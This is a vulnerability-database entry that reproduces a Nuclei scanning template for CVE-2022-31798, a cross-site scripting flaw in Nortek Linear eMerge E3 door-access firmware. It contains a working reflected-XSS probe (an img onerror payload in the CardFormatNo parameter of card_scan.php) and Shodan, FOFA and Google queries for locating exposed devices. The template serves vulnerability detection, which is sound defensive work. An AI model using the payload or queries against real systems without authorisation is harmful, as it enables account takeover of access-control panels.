CVE-2022-31798: Nortek Linear eMerge E3-Series - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Nortek Linear eMerge E3-Series | POC: 已公开

漏洞描述

There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.

PoC代码[已公开]

id: CVE-2022-31798

info:
  name: Nortek Linear eMerge E3-Series - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Nortek Linear eMerge E3-Series.
  reference:
    - https://packetstormsecurity.com/files/167992/
    - http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31798
    - https://eg.linkedin.com/in/omar-1-hashem
    - https://gist.github.com/omarhashem123/bccdcec70ab7e8f00519d56ea2e3fd79
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31798
    cwe-id: CWE-384
    epss-score: 0.80208
    epss-percentile: 0.99083
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - http.title:"eMerge"
      - http.title:"emerge"
      - http.title:"linear emerge"
    fofa-query:
      - title="emerge"
      - title="linear emerge"
    google-query:
      - intitle:"linear emerge"
      - intitle:"emerge"
  tags: cve2022,cve,emerge,nortek,xss,packetstorm,nortekcontrol

http:
  - method: GET
    path:
      - '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022076d1622ee3338eb568f926180404238f6962559775305176244c05d334d83f3f022100e81f7b9744d064dbdb03a617543507983173d757dcb9602c8a2dbe1d851a4349:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31798.yaml

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